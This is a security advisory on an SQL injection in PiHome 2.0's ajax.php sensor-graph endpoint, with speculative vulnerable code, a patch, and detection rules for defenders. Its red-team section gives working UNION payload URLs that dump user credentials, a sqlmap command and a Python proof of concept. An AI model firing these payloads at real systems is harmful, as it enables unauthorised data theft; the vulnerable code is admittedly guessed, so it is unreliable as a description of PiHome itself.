CVE-2025-1185

Executive Summary

CVE-2025-1185 is a critical unauthenticated SQL injection vulnerability discovered in the PiHome 2.0 smart home automation system developed by pihome-shc. The flaw resides in the /ajax.php?Ajax=GetModal_Sensor_Graph endpoint, where user-supplied input is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker can exploit this remotely without authentication to extract sensitive data, modify database contents, or potentially achieve remote code execution via stacked queries. The exploit has been publicly disclosed, increasing the risk of widespread scanning and attacks. No official patch is currently available, making immediate mitigation measures essential.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application (PiHome 2.0). However, the lack of a patch and public exploit disclosure means that any organization using PiHome 2.0 is at immediate risk. The supply chain risk is high because the vendor has not released a fix, and the codebase may be forked or distributed through unofficial channels.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical. Public exploit code exists, no patch available, and the attack surface is exposed to the internet.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the Ajax=GetModal_Sensor_Graph action of /ajax.php. The application likely takes a parameter (e.g., sensor_id or graph_id) from the HTTP request and directly interpolates it into a SQL query without using prepared statements or escaping.

Example vulnerable PHP code (conceptual):

$sensor_id = $_GET['sensor_id'];
$query = "SELECT * FROM sensor_data WHERE sensor_id = $sensor_id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by manipulating the sensor_id parameter. For example:

/ajax.php?Ajax=GetModal_Sensor_Graph&sensor_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

This allows the attacker to:

• Extract database schema, tables, and column names.
• Dump user credentials (hashed or plaintext).
• Modify or delete sensor configurations.
• Potentially execute system commands if the database user has FILE privileges or stacked queries are supported.

The exploit is publicly available, meaning automated scanners (e.g., Nuclei, SQLMap) can easily detect and exploit this.

Vulnerable vs. Patched Code

Vulnerable Code (PiHome 2.0):

// /ajax.php (simplified)
$action = $_GET['Ajax'];
if ($action == 'GetModal_Sensor_Graph') {
    $sensor_id = $_GET['sensor_id'];
    $query = "SELECT * FROM sensor_graph WHERE sensor_id = $sensor_id";
    $result = mysqli_query($conn, $query);
    // ... process result
}

Patched Code (Hypothetical):

// /ajax.php (patched)
$action = $_GET['Ajax'];
if ($action == 'GetModal_Sensor_Graph') {
    $sensor_id = intval($_GET['sensor_id']); // Cast to integer
    $stmt = $conn->prepare("SELECT * FROM sensor_graph WHERE sensor_id = ?");
    $stmt->bind_param("i", $sensor_id);
    $stmt->execute();
    $result = $stmt->get_result();
    // ... process result
}

The patch uses prepared statements and input validation (casting to integer) to prevent SQL injection. Since no official patch exists, users must implement these changes manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running PiHome 2.0 with the vulnerable endpoint exposed.
• Network access to the target (e.g., http://target-ip/ajax.php).

Exploitation Steps:

1. Identify the vulnerable parameter: Use a simple test to confirm injection:

   http://target-ip/ajax.php?Ajax=GetModal_Sensor_Graph&sensor_id=1'
   

   If an SQL error is returned, the endpoint is vulnerable.

2. Extract database version:

   http://target-ip/ajax.php?Ajax=GetModal_Sensor_Graph&sensor_id=1 UNION SELECT @@version,2,3,4,5,6,7,8,9,10--
   

3. Dump user credentials:

   http://target-ip/ajax.php?Ajax=GetModal_Sensor_Graph&sensor_id=1 UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users--
   

4. Automated exploitation with SQLMap:

   sqlmap -u "http://target-ip/ajax.php?Ajax=GetModal_Sensor_Graph&sensor_id=1" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target-ip/ajax.php"
params = {
    "Ajax": "GetModal_Sensor_Graph",
    "sensor_id": "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /ajax.php with Ajax=GetModal_Sensor_Graph and unusual sensor_id values (e.g., containing SQL keywords like UNION, SELECT, OR, --).
• Look for error messages containing SQL syntax errors in server logs.
• Use the detection rules provided below.

Mitigation:

• Immediately restrict access to /ajax.php using a Web Application Firewall (WAF) or reverse proxy.
• Implement input validation: only allow numeric values for sensor_id.
• If possible, disable the vulnerable endpoint until a patch is applied.
• Monitor database logs for suspicious queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /ajax.php with Ajax=GetModal_Sensor_Graph and parameters containing SQL keywords (e.g., UNION, SELECT, OR, --, #).
• Unusual response sizes or SQL error messages in HTTP responses.
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Modified PHP files in the PiHome installation directory (e.g., /ajax.php).
• Presence of webshells or backdoor scripts in the web root.

Log IOCs:

• Web server logs showing repeated requests to /ajax.php with varying sensor_id values.
• Database logs showing UNION, SELECT, or INTO OUTFILE statements.

Detection Engineering

YARA Rule

rule CVE_2025_1185_SQLi_PiHome {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1185 in PiHome 2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1185"
        severity = "critical"
    strings:
        $s1 = "Ajax=GetModal_Sensor_Graph" nocase
        $s2 = "sensor_id=" nocase
        $sql_keywords = /(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d|--|#)/ nocase
    condition:
        all of ($s1, $s2) and $sql_keywords
}

Sigma Rule

title: CVE-2025-1185 SQL Injection Attempt on PiHome
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the GetModal_Sensor_Graph endpoint in PiHome 2.0
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1185
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "Ajax=GetModal_Sensor_Graph"
            - "sensor_id="
        cs-uri-query|re: 
            - "(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\\s+\\d|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in sensor IDs (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1185 SQL Injection Attempt on PiHome"; flow:to_server,established; content:"Ajax=GetModal_Sensor_Graph"; http_uri; content:"sensor_id="; http_uri; pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable system: If PiHome 2.0 is exposed to the internet, immediately restrict access to the /ajax.php endpoint using a firewall or WAF.
2. Apply virtual patching: Use a WAF to block requests containing SQL keywords in the sensor_id parameter.
3. Disable the endpoint: If possible, comment out or remove the GetModal_Sensor_Graph action in /ajax.php until a patch is available.

Long-term Fix:

• The vendor must release a patched version that uses prepared statements and input validation.
• Users should monitor the PiHome GitHub repository or official channels for updates.
• Consider migrating to a supported smart home platform if the vendor does not respond.

Workaround Code (Manual Patch):

// In /ajax.php, replace the vulnerable code with:
if ($action == 'GetModal_Sensor_Graph') {
    $sensor_id = isset($_GET['sensor_id']) ? intval($_GET['sensor_id']) : 0;
    if ($sensor_id > 0) {
        $stmt = $conn->prepare("SELECT * FROM sensor_graph WHERE sensor_id = ?");
        $stmt->bind_param("i", $sensor_id);
        $stmt->execute();
        $result = $stmt->get_result();
        // ... process result
    } else {
        // Invalid input
        http_response_code(400);
        echo "Invalid sensor ID";
    }
}

Valters IT
DevSecOps & Cyber Threat Intelligence